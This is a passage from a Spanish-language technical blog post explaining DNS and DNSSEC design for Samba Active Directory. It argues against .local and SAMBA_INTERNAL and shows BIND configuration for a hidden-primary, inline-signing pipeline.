— encuentra un DC que esté cerca Mira para qué es esa lista. La autenticación Kerberos no puede empezar hasta que el cliente ha encontrado un KDC, y encuentra el KDC por DNS. La localización consciente del sitio significa que la respuesta también decide contra qué centro de datos se autentica un cliente.\nLa misma idea, modernizada SRV tiene un sucesor que conviene conocer. Los registros SVCB y HTTPS (RFC 9460) generalizan el patrón: parámetros de servicio en DNS, incluidos ALPN, puerto y pistas de dirección, en un solo registro. Así es como un navegador aprende a ir directo a HTTP/3 sin una redirección. El registro HTTPS ya está ampliamente desplegado. El mecanismo es el mismo en espíritu que SRV: al cliente se le dice, por DNS, cómo llegar al servicio. Lo que significa que el argumento de la siguiente sección se le aplica igual de bien.\nTodo lo que viene después de la consulta se fía de la consulta Aquí está el giro, y es la razón por la que una entrada de DNS tiene una sección de seguridad y no al revés.\nUna máquina unida al dominio arranca y pregunta dónde hay un controlador de dominio. Recibe un nombre y un puerto. Conecta ahí, y entonces empieza a hacer todas las cosas que normalmente pensamos como la capa de seguridad: Kerberos, firma LDAP, enlace de canal, validación de certificados.\nEntonces, ¿qué pasa si la respuesta era mentira?\nSer justo con esto importa, porque la respuesta no es «catástrofe instantánea». Kerberos se diseñó con autenticación mutua justo para que un cliente no esté a merced de su consulta de nombre: un host que no puede producir un ticket de servicio para el nombre que el cliente pidió no puede completar el intercambio. Consigue una respuesta SRV que apunte a una máquina sin clave en el dominio y, para un cliente configurado de forma estricta, falla.\nEl daño realista es más sutil, y está todo en los huecos alrededor de eso:\nDegradación. Un cliente que recae en NTLM cuando Kerberos no funciona acaba de quedar en manos de quienquiera que respondiera. Reenvío y coerción. El atacante no necesita ser el DC. Basta con ser el nombre al que un cliente conecta para empezar a reenviar esa autenticación a algún sitio donde sea útil. Denegación de servicio que parece un fallo. Apunta _ldap._tcp.dc._msdcs a algo que no responde y el dominio queda roto de forma intermitente de un modo que nadie diagnostica como DNS durante un buen rato. Todo lo que no tiene autenticación mutua en absoluto. Sincronización de hora, syslog, monitorización, agentes de copia de seguridad, esa cosa HTTP interna con verify=False. Muchos parques tienen más de estas de las que admitirían. El principio general es el que vale la pena llevarse: DNS es un mecanismo de descubrimiento, no un mecanismo de autorización. Es del todo razonable encontrar un servicio por su nombre. No es razonable conceder nada por la fuerza de un nombre, y la cantidad de sistemas que en silencio lo hacen — listas de permitidos basadas en PTR, ACL por nombre de host, «está en la red interna así que tiene que ser nuestro» — es la verdadera superficie de ataque.\nQué arregla DNSSEC, y qué no DNSSEC existe para responder a una pregunta: ¿vino esta respuesta de verdad de la zona que posee el nombre, sin modificar?\nFunciona (RFC 4033 y las dos que la siguen) firmando, y encadenando las firmas a algo en lo que ya confías:\nCada RRset en una zona firmada tiene un RRSIG — una firma sobre ese conjunto. Las claves públicas de la zona se publican como DNSKEY. La zona padre publica un registro DS: un hash de la clave del hijo. Ese DS está a su vez firmado por el padre, cuya clave está hasheada en el DS de su padre, hasta arriba del todo, hasta la raíz — y la clave de la raíz es lo único que tu resolver ya sabía al nacer. Una cadena de confianza desde la raíz hasta una zona interna . \u0026#8212; la raíz la única clave que tu resolver ya tiene Donde empieza cada cadena. Entregada con el resolver, rotada rara vez, confiada implícitamente. DS firmado para com. com. o uk., o bajo lo que sea que estés Un padre avala la clave de su hijo. El DS es un hash de la clave del hijo, firmado por el padre. DS firmado para example.com. example.com. pública, firmada, DS depositado en el padre La zona que ya posees y ya firmas. Guarda la delegación de la zona interna, y el DS que la autentica. Eso es todo lo que guarda de dentro. DS firmado para ad.example.com. sobre la línea: publicado en internet debajo: servido solo dentro del parque ad.example.com. la vista derivada de AD \u0026#8212; solo servidores internos Firmada dentro, confiada desde fuera. Tus resolvers la validan raíz \u0026#8594; com \u0026#8594; example.com \u0026#8594; aquí, sin ancla de confianza local y sin nada que distribuir. Los datos nunca salen. Solo la confianza entra, baja por la cadena pública corriente. La cadena que construye un resolver que valida. Cada padre avala la clave de su hijo con un registro DS firmado, así que una sola ancla de confianza integrada en la raíz autentica cada zona por debajo de ella — incluida una zona interna delegada cuyos contenidos nunca salen del edificio. La denegación también se firma, lo que es fácil pasar por alto e importa más de lo que suena. Sin ella, «no existe tal nombre» es una respuesta no autenticada que un atacante puede forjar para hacer que algo desaparezca. NSEC y NSEC3 dan un «nada existe entre estos dos nombres» autenticado.\nEso es un arreglo real para un problema real. El envenenamiento de caché no es teórico: el ataque de Kaminsky hizo el spoofing fuera del camino lo bastante barato como para forzar parcheo de emergencia en todo internet, y las mitigaciones que le siguieron — aleatorización del puerto de origen, mezcla de mayúsculas 0x20 — son todas intentos de hacer más difícil adivinar, no de hacer verificables las respuestas. El trabajo de canal lateral desde entonces las ha ido erosionando repetidamente. Las firmas son lo único de esa lista que cambia el juego en vez de subir el precio.\nAhora los límites honestos, porque DNSSEC se sobrevende en las dos direcciones.\nNo es confidencialidad. Firmar es autenticación de clave pública; cada consulta y cada respuesta siguen yendo en texto claro por el cable. La privacidad en el salto del cliente es DoT, DoH o DoQ, y esos son un mecanismo distinto que resuelve un problema distinto. Cifrar el salto hasta un resolver que no valida te compra una conversación privada con algo al que aún se le puede mentir.\nNo valida el significado, solo el origen. DNSSEC prueba que el dueño de la zona publicó esto. Si el registro es incorrecto, o malicioso, o lo escribió alguien a quien la zona imprudentemente dejó escribirlo, la firma se le aplica igual de fielmente. Firmar una zona que máquinas no fiables pueden escribir no hace fiable el contenido — autentica la mentira. Aférrate a esa frase; el último tercio de esta entrada es en esencia su consecuencia.\nSolo ayuda si alguien valida. Si tu resolver no valida, las firmas en las zonas que consultas son decoración. Y si la validación ocurre en un resolver al otro lado de la red del cliente, el cliente se está fiando del bit AD y del camino — mira trust-ad más arriba.\nY hay que operarlo. Una firma caducada no es una respuesta degradada, es SERVFAIL — el nombre se apaga. Un DS en el padre que ya no coincide con la clave del hijo hace lo mismo. Este es el coste honesto, y por eso la automatización de las siguientes secciones importa más que la firma inicial.\nPor qué un TLD interno inventado no se puede firmar Aquí es donde las decisiones de nombres tomadas hace años vuelven con una factura, y vale la pena detallarlo porque es la razón por la que el diseño de esta entrada usa un dominio real y propio para los nombres internos.\nMira otra vez cómo se construye la cadena: la clave de una zona la avala un registro DS en su padre. Así que un resolver que valida solo puede autenticar una zona interna si esa zona tiene un padre dispuesto y capaz de publicar un DS para ella.\nad.corp.local no tiene tal padre. Tampoco .lan, .home, ni nada más inventado el día que se aprovisionó el dominio:\n.local está reservado para mDNS. Usarlo para DNS unicast no es meramente estar sin firmar, es una colisión documentada con cómo cada sistema operativo del edificio tiene derecho a comportarse. Tiene su propia sección más abajo, porque está en otra liga que los otros tres. .lan, .corp, .home son cadenas sin registrar. No hay padre que guarde un DS, y las versiones solicitadas se retiraron de la delegación por el lío de colisión de nombres en parques privados. home.arpa está debidamente reservado para redes domésticas, lo que suena ideal — pero su delegación es deliberadamente insegura. No hay camino firmado que baje hasta él, por diseño. .internal ha sido apartado por ICANN para exactamente este uso, y resuelve el problema de la colisión. No resuelve este: sin delegación no hay DS, así que no hay cadena. Tus opciones con una zona interna sin encadenar son dejarla sin firmar, o configurar un ancla de confianza local en cada resolver que valida del parque y convertirte en la raíz de tu propia isla privada — una clave que ahora tienes que distribuir, monitorizar y rotar a mano, en cada resolver, para siempre, con SERVFAIL en todo el dominio como modo de fallo.\nHay una respuesta mucho más fácil, y es gratis: haz que la zona interna sea una delegación dentro de una zona pública que ya posees y ya firmas. ad.example.com, delegada desde example.com. El DS va en el padre público. Cada resolver que valida del parque autentica entonces los nombres internos con el ancla de confianza que ya tiene, y tú no distribuyes nada.\nEl contenido se queda dentro. Solo la confianza viene de fuera. Esa distinción es el diseño del resto de esta entrada.\n.local no es una cuestión de estilo Uno de esos cuatro merece su propia sección, porque es el que la gente defiende, y porque la defensa siempre es la misma: funciona, lo llevamos usando años, cuál es el problema.\nEl problema es que .local no es una cadena sin registrar que alguien podría un día vender. Es un espacio de nombres que ya tiene un dueño y un comportamiento definido, y el comportamiento no es «pregunta al servidor DNS». La RFC 6762 §3 no es amable al respecto:\nAny DNS query for a name ending with \u0026ldquo;.local.\u0026rdquo; MUST be sent to the mDNS IPv4 link-local multicast address 224.0.0.251 (or its IPv6 equivalent FF02::FB).\nLee qué gobierna en realidad ese MUST. No es una afirmación sobre quién posee la cadena. Es una instrucción sobre adónde va la consulta — y la respuesta es un grupo multicast en el enlace local, no tu controlador de dominio. La misma sección dice que los nombres bajo .local son «meaningful only on the link where they originate», el equivalente en DNS de una dirección 169.254.\nAsí que un cliente que sigue la especificación correctamente nunca preguntará a tu servidor DNS por un nombre .local. Grita en el cable y se queda con lo que responda.\nEso produce un conjunto de fallos con un sabor muy particular:\nLa resolución depende del cliente, no de tu DNS. macOS resuelve .local por Bonjour y siempre lo ha hecho; systemd-resolved enruta el dominio local a mDNS por defecto; Windows lleva haciendo mDNS desde Windows 10. Tres pilas, tres conjuntos de reglas, y tu fichero de zona no lo consulta ninguna de ellas. Se para en el primer router. mDNS es local al enlace por diseño. Un nombre que resuelve en un escritorio de la misma VLAN no resuelve desde otra planta, otro sitio, o la VPN — que es el ticket de «funciona en la oficina, se rompe en casa» que se cierra como «problema de red» cuatro veces antes de que alguien lea la especificación. El comportamiento cambia bajo tus pies. Si una máquina dada prueba primero multicast, primero unicast, o ambos en paralelo depende de la pila del resolver y su versión. Los parques que funcionaron con .local «bien durante años» suelen ser parques donde una actualización de la distro aún no ha cambiado el orden. La evidencia falta justo donde la buscas. El registro de consultas del DC no muestra nada, porque no llegó nada. La gente pasa días en el servidor, y la consulta nunca salió del cliente. Y no se puede firmar, que es el objeto de esta sección. Sin padre, sin DS, sin cadena, sin forma de publicar uno. Ahora pon eso bajo un dominio de Active Directory. El reino se deriva del nombre de dominio. Los principales de servicio se derivan del reino. Los localizadores _msdcs — los registros de los que trata toda esta entrada — se sientan bajo un sufijo que un cliente conforme está obligado a resolver gritando al segmento local. Estás construyendo Kerberos encima de un espacio de nombres que la mitad de tu parque resuelve con un protocolo diseñado para encontrar impresoras.\nY la salida es cara, que es lo que hace que valga la pena ser desapasionado sobre la decisión original. En Samba no hay renombrado in situ. El camino documentado es samba-tool domain backup rename seguido de una restauración: tomas una copia renombrada de la base de datos, resiembras un DC nuevo a partir de ella, y vuelves a añadir cada otro DC desde cero, sin solape permitido entre DC de nombre viejo y de nombre nuevo. No es el rendom de Windows, que al menos recorre los DC de uno en uno. Es una reconstrucción con un nombre más bonito.\nAsí que el resumen honesto. .local para un dominio unicast no es una preferencia, una convención, ni un pedacito inofensivo de legado. Es un conflicto documentado con un protocolo que viene activado en cada sistema operativo del edificio, y la factura llega años después como fallos de resolución intermitentes e irreproducibles — y, cuando por fin quieres firmar la zona, como una reconstrucción de dominio.\nEl mismo error, con otro sombrero Ya que estamos: el puerto 5353.\nmDNS escucha en UDP 5353, y no es un puerto de repuesto que da la casualidad de estar libre. Levantar un servicio DNS unicast normal en él, o apuntar los resolvers a :5353 porque el 53 estaba ocupado o necesitaba root, hace el mismo daño desde la otra dirección — cada máquina consciente de mDNS de ese segmento habla ahora con tu servicio de nombres, y tu servicio de nombres está ahora atendiendo descubrimiento de servicios multicast que nunca fue pensado para responder. El nombre y el puerto son dos mitades de un espacio de nombres, y las dos ya pertenecen a otro.\n.local en el 53, o DNS unicast en el 5353. El mismo malentendido, la misma clase de fallo intermitente, las mismas semanas del tiempo de otra persona.\nY sé honesto sobre lo que eso te dice Microsoft recomendó .local en la era de Small Business Server, que es por lo que tantos parques todavía lo cargan, y dejó de recomendarlo hace mucho tiempo. Heredar un dominio .local es mala suerte. La mayoría de quienes lean esto y tengan uno no lo eligieron, y la sección de arriba es un plan de migración más que una acusación.\nDesplegar uno es un asunto completamente distinto, y voy a ser rotundo sobre ello, porque suavizarlo no ha ayudado a nadie.\nCualquiera que despliegue .local para Active Directory o para DNS unicast estándar, o que levante un servicio DNS en el puerto 5353, no es un profesional de TI. Puede que tenga el título del puesto. No está haciendo el trabajo. La RFC 6762 está publicada desde 2013, se lee en veinte minutos, y la frase que zanja toda la cuestión está en la sección 3. Construir el servicio de nombres de una empresa sobre un espacio de nombres que la especificación reserva para multicast local al enlace no es una decisión de ingeniería defendible. Es alguien adivinando en la única parte de la pila donde adivinar produce fallos que nadie puede reproducir y todo el mundo culpa a la red.\nDeberían ser retirados de tu departamento de TI. No movidos de lado, no puestos a cuidar del DNS con supervisión. Retirados de la función. El rol existe para saber qué paquete va adónde y bajo la autoridad de quién. Alguien que no ha leído el documento que gobierna el espacio de nombres que eligió para cada máquina del edificio no está desempeñando ese rol, y mantenerlo en él significa que la próxima decisión de este tamaño se toma de la misma manera.\nY cada sistema que tocaron debería auditarse. Esta es la parte que la gente se salta, y es la parte que más importa. Una decisión así nunca está aislada. Alguien que no comprobó la RFC 6762 antes de nombrar el dominio tampoco comprobó nada más — así que ve a mirar qué más construyeron. Espera encontrar:\nServidores DNS abiertos al mundo, reenviadores que responden a cualquiera que pregunte, y ninguna ACL en ninguna parte. Actualización dinámica dejada abierta de par en par, y contenedores de zona con permisos que nadie ha revisado desde que se creó el dominio. Certificados y Kerberos construidos encima de nombres que nunca iban a resolver de forma consistente, con los fallos tapados con ficheros de hosts. Ficheros de hosts. Por todas partes. Parques enteros se han sostenido con ellos justo porque .local nunca funcionó bien y alguien encontró un apaño en vez de una causa. Reglas de firewall y cuentas de servicio creadas para hacer que los síntomas desaparecieran, todavía en su sitio, todavía concediendo más de lo que nadie recuerda ya. Eso no es vengatividad. Es para lo que sirve una señal de competencia. Cuando encuentras una decisión que se tomó sin leer la especificación, la respuesta correcta es asumir que el resto se tomaron igual e ir a comprobarlo — porque la misma persona configuró tu autenticación, tus certificados y tu control de acceso, y ahora tienes evidencia directa de cómo aborda un problema que no entiende del todo.\nHeredar este lío te cuesta una migración. Emplear a la persona que todavía lo está creando te cuesta bastante más.\nLos dos backends de DNS de Samba Un controlador de dominio de AD Samba almacena sus datos de DNS en el directorio mismo, y hay dos formas de servirlos.\nSAMBA_INTERNAL es el servidor DNS propio de Samba, integrado en el DC de AD. Maneja las zonas de AD y las actualizaciones dinámicas autenticadas con Kerberos, y entrega cualquier otra cosa a un reenviador. Samba lo describe como que soporta «the basic feature required in an AD» y lo recomienda «for simple DNS setups», lo cual es justo y conviene tomarse al pie de la letra. Tiene su propia sección más abajo, porque lo que no hace es más largo y más interesante que lo que hace.\nBIND9_DLZ corre BIND como servidor DNS, con el módulo dlz_bind9 de Samba cargado en él. DLZ — Dynamically Loadable Zones — es una interfaz de BIND para respaldar una zona con algo distinto de un fichero de zona. El módulo responde a las consultas de BIND directamente desde sam.ldb, así que no hay copia, ni paso de exportación, ni sincronización que salga mal: BIND está leyendo el directorio a la vez que sirve.\nEl servidor DNS interno no hace recursión — no puede Empieza por la cosa que casi siempre se describe mal, incluso por quien la corre.\n«El DC es nuestro servidor DNS, hace recursión para los clientes» no es lo que está pasando, porque el servidor DNS interno no puede hacer recursión en absoluto. La propia lista de características de Samba lo dice claramente. El DNS interno no soporta:\nactuar como un resolver con caché consultas recursivas (pero puede reenviar a otro nameserver DNS recursivo) firma de transacción con clave compartida (TSIG) zonas stub transferencias de zona balanceo de carga Round Robin entre DC con el scavenging y los reenviadores condicionales listados también como no implementados.\nLee las dos primeras juntas, porque esa es toda la historia. No puede resolver, y no puede cachear. Lo que dns forwarder te compra en realidad es un relé: un cliente pide al DC windowsupdate.com, el DC pregunta a un resolver de verdad, la respuesta vuelve a través del DC, y luego el DC la olvida por completo. El siguiente cliente hace la misma pregunta y todo el asunto pasa otra vez.\nMira otra vez la tabla de antes en esta entrada y fíjate en qué es eso: un reenviador sin la caché del reenviador. Tiene los costes del rol — un salto extra, una dependencia, una cosa que puede estar caída — y ninguno de su beneficio.\nAsí que un DC con SAMBA_INTERNAL sirviendo al parque no es un servidor DNS en el sentido en que la gente lo dice. Es un proxy sin caché para un resolver de verdad, y lo has puesto en la máquina que guarda tu directorio.\nPor qué eso es un riesgo y no solo una ineficiencia La ineficiencia es fácil de ver: cada consulta externa del edificio se convierte en una ida y vuelta a través del DC de AD, de forma permanente, sin caché que lime el filo. En un dominio tranquilo nadie lo nota. Por eso justamente sobrevive.\nEl argumento de seguridad es el que vale la pena hacer, y tiene tres partes.\nEl escuchador está en el proceso equivocado. El DNS interno es una tarea de servicio del propio DC de AD, corriendo con los privilegios del directorio — no un demonio aparte bajo su propia cuenta como lo es named. Así que la cosa que parsea UDP no autenticado de cualquiera que pueda alcanzar el puerto 53 corre dentro del proceso que sirve LDAP y Kerberos y posee sam.ldb. BIND tiene treinta años de atención hostil, un usuario dedicado, y la costumbre de correrse en una jaula, justo porque un escuchador DNS es un barrio peligroso. El servidor interno de Samba es una característica de comodidad que resulta vivir entre las joyas de la corona.\nServir a los clientes significa ser alcanzable por los clientes. Para ser el servidor DNS del parque, debe aceptar consultas de cada estación de trabajo, cada impresora, cada portátil de contratista en la VLAN de invitados que alguien puenteó por accidente. Eso es una superficie de ataque grande, permanentemente abierta y no autenticada en el host más valioso que posees, y la corres para ahorrarte el coste de un resolver que podría alojar una Raspberry Pi.\nY un reenviador abierto al mundo es el arma de otro. Un DC que reenvía por cualquier cosa que pregunte es un reenviador abierto. En cuanto sea alcanzable fuera de tu red se convierte en participante de reflexión y amplificación, lo que significa que el tráfico y los informes de abuso llegan ambos a tu controlador de dominio. No hay limitación de tasa a la que echar mano, porque el servidor interno no tiene ninguna.\nNada de eso requiere una vulnerabilidad de Samba para ser una mala idea. Es una mala idea solo por su forma: pone un servicio no autenticado, expuesto a internet por accidente, cargado de parseo, en el mismo proceso que tu directorio, para hacer un trabajo que está documentado como incapaz de hacer bien.\nSe caerá antes, y se llevará más por delante Conviene tener claro qué no es este argumento. No es una afirmación de que el código de DNS de Samba tenga más bugs que el de BIND. BIND tiene una larga lista de CVE, sobre todo porque es la implementación de DNS más examinada que existe, y contar avisos sería una mala forma de elegir entre ellos.\nLa comparación que importa es estructural, y se reduce a tres preguntas con tres respuestas incómodas.\n¿Quién puede enviarle un paquete malformado? Con SAMBA_INTERNAL sirviendo al parque: cada estación de trabajo, cada teléfono en la inalámbrica, todo lo que pueda enrutar al puerto 53 de esa caja. Con el diseño de esta entrada: el firmante. Un host, una clave TSIG, allow-query limitado a él. Eso no es una pequeña diferencia de grado. Es la diferencia entre un servicio expuesto y uno que es efectivamente inalcanzable, y empequeñece cualquier diferencia de calidad de código entre las dos implementaciones.\n¿Qué se cae cuando se cae? Esta es la que decide la severidad. named es un demonio aparte bajo su propia cuenta; cuando muere, el DNS se para y el controlador de dominio sigue autenticando. El DNS interno de Samba es una tarea de servicio dentro del DC de AD, así que cualquier cosa que lo atasque, agote o estrelle está pasando dentro del proceso que sirve LDAP y Kerberos. Un problema de DNS se convierte en una caída del directorio. Y systemctl restart named cuesta un segundo, mientras que reiniciar un DC es otra clase de mañana.\n¿Qué puedes hacer al respecto mientras está pasando? BIND tiene limitación de tasa de respuestas, allow-query, allow-recursion, blackhole, política por vista, y la opción de no responder a los clientes en absoluto. El servidor interno tiene dns forwarder y un fichero de registro. Cuando algo empieza a machacarlo, no hay ningún dial que girar.\nLuego añade la caché ausente. Cada consulta de cliente es una ida y vuelta saliente nueva, así que una avalancha de consultas le cuesta al DC una consulta río arriba por paquete en vez de un acierto de caché — y le cuesta en el mismo proceso que intenta emitir tickets de Kerberos. No necesitas un exploit para eso; necesitas una mañana ajetreada, una aplicación que se porta mal, o alguien apuntando un escáner a la VLAN equivocada. Sostenido, se presenta como que la autenticación va lenta y nadie piensa en mirar el DNS.\nAsí que sí — incluso con DLZ en escena, BIND es el sitio más seguro para esto. El módulo DLZ sí le da a named acceso a los datos de Samba, y eso es una consideración real que esta entrada ya se ha ocupado de señalar. Pero una caída de named es una caída de DNS en vez de una caída del directorio, y en este diseño ese named no está tomando consultas del parque para empezar. Los bugs son un hecho de cada base de código. El radio de impacto y la alcanzabilidad son cosas que eliges.\nY no puede construir el diseño de esta entrada Hay una razón más simple y más definitiva por la que no es el backend aquí.\nSin transferencias de zona. El pipeline de la siguiente sección — primario oculto, firmante, servidores autoritativos independientes — empieza con un AXFR fuera del DC. SAMBA_INTERNAL no tiene nada con lo que transferir. Sin TSIG tampoco, así que hasta la autenticación que esa transferencia necesitaría está ausente. Y sin firma, y sin validación de nada de lo que reenvía.\nAsí que el resumen honesto de SAMBA_INTERNAL: es el backend que te deja levantar un dominio de AD en un laboratorio un domingo por la tarde sin configurar BIND, y es muy bueno en eso. Samba dice «simple DNS setups» y lo dice en serio. No es un resolver, nunca se construyó para ser el servicio DNS de un parque, y en el momento en que quieres firma, transferencias, vistas, ACL, caché o limitación de tasa, la respuesta no es afinarlo. No tiene esos diales. La respuesta es BIND.\nSi lo estás corriendo hoy con cada cliente apuntado al DC, el arreglo no es urgente pero tampoco es opcional: dale a los clientes un resolver que valide de verdad, y pon dns forwarder en el DC apuntando a ese, para que el DC responda por sus propias zonas y por nada más.\nY esta es la parte sobre la que quiero ser claro, porque «no uses DLZ» se repite como si fuera una regla de endurecimiento: DLZ no es la exposición. Es el mecanismo de extracción. Lo que importa no es qué módulo está cargado en BIND — es quién tiene permiso para hablar con ese BIND, y qué le pasa a la zona a continuación. Un BIND respaldado por DLZ que solo responde a una petición de transferencia de tu firmante no es una superficie de ataque en ningún sentido interesante. Un DC SAMBA_INTERNAL atendiendo cada consulta de nombre de cuatrocientos portátiles sí que lo es, y mucho. Solo uno de esos dos aparece en las listas de comprobación de endurecimiento, y no es el que importa.\nDos cosas sobre DLZ son ciertas y conviene planificarlas en vez de temerlas:\nEl módulo está acoplado a la versión de BIND. Samba entrega un .so aparte por versión de BIND, y named.conf nombra uno específicamente. Una actualización mayor de BIND significa que el módulo correspondiente debe estar en su sitio, o named no arranca. Es una dependencia de empaquetado que probar por adelantado, no una propiedad de seguridad. named necesita acceso a los datos de Samba, que es por lo que Samba mantiene un directorio dedicado para las partes que BIND necesita en vez de concederle todo el directorio privado. La concesión está pensada para ser estrecha — conviene verificar que sigue siéndolo en tus DC, ya que es el único sitio donde DLZ sí ensancha lo que alcanzaría un compromiso de named. La razón por la que DLZ es la elección correcta aquí es lo que habilita: la interfaz DLZ de BIND soporta enumerar una zona entera, que es lo que hace posible siquiera una transferencia de zona fuera de una zona respaldada por DLZ. Esa transferencia es el primer salto del pipeline, y es BIND quien la hace, lo que significa que el resto del pipeline es configuración de BIND corriente en vez de nada exótico.\nHay una restricción que da forma a todo lo de aguas abajo, y conviene enunciarla claramente porque es fácil suponer lo contrario. Una zona DLZ no se puede firmar a sí misma. ISC es explícito al respecto en el ARM de BIND: DLZ «is unable to handle DNSSEC-signed data due to its limited API». No puedes colgar una dnssec-policy de la sentencia dlz y quedarte tan ancho.\nLo que sí puedes hacer — y lo que ISC sugiere para DLZ en el mismo aliento — es correrlo como un primario oculto, con la firma hecha por una zona BIND normal que transfiere los datos hacia dentro. Esa es la siguiente sección, y la restricción es la razón por la que tiene la forma que tiene.\nVale la pena saber que esto es una restricción de Samba y no una ley de Active Directory. El servidor DNS de Microsoft lleva haciendo firma online de zonas dinámicas integradas en AD desde Windows Server 2012. La zona se firma in situ, las claves privadas se replican a los Key Masters por la propia replicación de AD, y las actualizaciones dinámicas siguen funcionando. En Windows, «firmar las particiones de AD» es una opción real y la respuesta a la objeción de la rotación viene incorporada. (En Server 2008 R2 no lo era: podías firmar una zona integrada en AD, pero no una que aceptara actualizaciones dinámicas, y cada cambio significaba re-firmar a mano — que es de donde viene el folclore de que las zonas de AD son imposibles de firmar.)\nSamba no tiene equivalente. Ninguno de los backends firma: el servidor interno no tiene DNSSEC en absoluto, y DLZ no puede llevar datos firmados. Así que en Samba el pipeline de transferir-y-firmar no es un diseño entre varios. Es el camino.\nEl pipeline de publicación Ahora su forma. Cuatro roles, y el DC está al fondo donde nada puede alcanzarlo.\nPublicar una zona de Active Directory desde un controlador de dominio primario oculto Controlador de dominio \u0026#8212; primario oculto BIND con dlz_bind9, autoritativo desde el directorio sin recursión \u0026#183; transfiere solo al firmante, con TSIG El host del directorio no atiende preguntas. La máquina de mayor valor del parque no es alcanzable por las máquinas que dependen de ella. AXFR según el refresco SOA un sondeo \u0026#8212; DLZ no puede notificar Instancia de firma \u0026#8212; un secundario normal transfiere la zona hacia dentro y la sirve firmada un segundo named en el DC, o su propio host La zona DLZ no se puede firmar a sí misma. Así que la firma es un secundario normal que contiene la copia \u0026#8212; y con los clientes fuera de la zona, no hay rotación. transferir hacia fuera la zona firmada Servidores autoritativos secundarios simples de la zona firmada sin claves, sin ruta al directorio Un compromiso obtiene una copia, no una falsificación. Sin clave en los servidores que dan al parque, no se puede fabricar ningún registro nuevo que vaya a validar. consultas respondidas con firmas Resolvers que validan a lo que apunta el resolv.conf del cliente zonas internas reenviadas, árbol público recorrido La validación ocurre junto al cliente. La cadena llega al ancla de confianza de la raíz, porque la zona interna es una delegación en una pública. sin cara al cliente DNS en el DC La publicación va en un sentido, del directorio hacia fuera. Nada de lo que un cliente envía llega jamás a lo alto. El DC es un primario oculto: sirve la zona de AD por transferencia y no responde a nada más. La instancia de firma es una zona secundaria corriente que contiene la copia transferida — la zona DLZ en sí no se puede firmar, así que la firma siempre ocurre un salto más allá, ya sea ese salto un segundo named en el DC o un host aparte. Los servidores autoritativos independientes son lo único que ven los clientes, y son secundarios de la zona firmada. 1. El controlador de dominio — primario oculto. BIND con dlz_bind9, autoritativo para las zonas de AD desde el directorio. Recursión desactivada. Sin servicio de cara al cliente. allow-transfer restringido al firmante solo, con TSIG. Desde el punto de vista de la red el DC no sirve DNS en absoluto, y lo único que lo consulta jamás es la siguiente caja de la fila.\n2. La instancia de firma — una zona BIND normal que transfiere los datos hacia dentro. Aquí es donde viven inline-signing y la dnssec-policy, en una zona del mismo nombre que contiene la copia transferida. BIND mantiene la copia sin firmar que recibió y la copia firmada que publica como cosas separadas, y re-firma según llegan nuevas transferencias. Como es una transferencia en vez de un fichero compartido, esta instancia puede estar en el propio DC — un segundo named en su propia dirección — o en un host aparte, y la configuración es casi idéntica en cualquiera de los dos casos.\nEl compromiso es el que parece: en el DC es una máquina menos que correr, mientras que un host aparte mantiene las claves privadas fuera de la caja que guarda el directorio. Ambos son defendibles, y la elección no cambia nada más en el pipeline. Lo que importa es que la firma ocurre una vez, en un punto definido, bajo una política de claves — la diferencia entre DNSSEC que operas y DNSSEC que caduca a las tres de la madrugada.\n3. Los servidores autoritativos — lo único que ven los clientes. Secundarios simples de la zona firmada. No guardan claves, no firman, y no tienen camino al directorio. Si uno se ve comprometido, el atacante tiene una copia de una zona y ninguna capacidad de forjar un registro nuevo que vaya a validar.\n4. Los resolvers. Resolvers recursivos que validan para el parque, que reenvían condicionalmente las zonas internas a esos servidores autoritativos y recorren el árbol público para todo lo demás. A estos apunta el resolv.conf de los clientes.\nDos propiedades salen de este arreglo que vale la pena enunciar por sí solas, porque son todo el objeto:\nLa máquina que guarda el directorio no es alcanzable por las máquinas que lo usan. Un controlador de dominio es el host de mayor valor del parque. Darle un servicio de red de cara al cliente — uno que responde a UDP no autenticado de cualquier estación de trabajo — es un mal trato por un servicio que otras máquinas pueden desempeñar. La firma ocurre una vez, en un punto definido. La objeción habitual a firmar una zona de AD es la rotación — que el contenido cambia demasiado a menudo para que las firmas le sigan el paso. Esa objeción es en realidad una objeción a la disposición por defecto, no a firmar. Con el registro de clientes movido fuera, como la siguiente sección argumenta que debe estar, la zona de AD cambia cuando un controlador de dominio se promociona o degrada y prácticamente nunca en ningún otro momento. Una zona que solo escriben los DC es una zona estable, y una zona estable es algo del todo corriente de firmar. Mantener a los clientes fuera no es solo un control de seguridad; es lo que hace la zona lo bastante tranquila como para firmarla limpiamente. Cómo se cablea de verdad la firma La forma de arriba es la parte importante, pero «una zona BIND normal que transfiere los datos hacia dentro» merece mostrarse en vez de describirse, porque el primer intento de esto suele naufragar al tratar de firmar el DLZ directamente.\nEn el DC, el lado DLZ se queda deliberadamente soso. Sirve el directorio, entrega la zona a exactamente un par, y no hace nada más:\nkey \u0026#34;transfer-to-signer\u0026#34; { algorithm hmac-sha256; secret \u0026#34;...\u0026#34;; }; options { recursion no; allow-query { key transfer-to-signer; localhost; }; allow-transfer { key transfer-to-signer; }; notify no; }; dlz \u0026#34;AD DNS Zone\u0026#34; { database \u0026#34;dlopen /usr/lib64/samba/bind9/dlz_bind9_18.so\u0026#34;; }; Fíjate en que el .so lleva la versión mayor de BIND en su nombre. Ese es el acoplamiento de versión de la sección anterior hecho concreto — una actualización de BIND necesita el módulo de Samba correspondiente en su sitio antes de que named arranque.\nEn el lado de la firma, la zona es un secundario corriente con las opciones de firma acopladas. Esta es la parte que no puede vivir en el DLZ:\ndnssec-policy \u0026#34;ad-internal\u0026#34; { keys { ksk lifetime P365D algorithm ecdsa256; zsk lifetime P90D algorithm ecdsa256; }; }; zone \u0026#34;ad.example.com\u0026#34; { type secondary; primaries { 192.0.2.10 key transfer-to-signer; }; file \u0026#34;ad.example.com.axfr\u0026#34;; inline-signing yes; dnssec-policy \u0026#34;ad-internal\u0026#34;; allow-transfer { key transfer-to-public; }; also-notify { 192.0.2.20; 192.0.2.21; }; }; Que esto funcione en un secundario es el detalle portante, y el ARM lo dice directamente:\nIf yes, BIND 9 maintains a separate signed version of the zone. An unsigned zone is transferred in or loaded from disk and the signed version of the zone is served with, possibly, a different serial number.\nAsí que BIND mantiene dos copias — la sin firmar que recibió, escrita en file, y la firmada que sirve, escrita junto a ella con una extensión .signed. Llega una transferencia, la versión firmada se regenera, y los servidores de aguas abajo reciben un notify, porque a estas alturas es una zona del todo corriente. inline-signing yes es de hecho el valor por defecto una vez que se acopla una dnssec-policy; se escribe arriba porque una configuración que dice lo que hace merece la línea.\nLa rotación de claves viene con la política en vez de con un trabajo de cron. Las rotaciones de 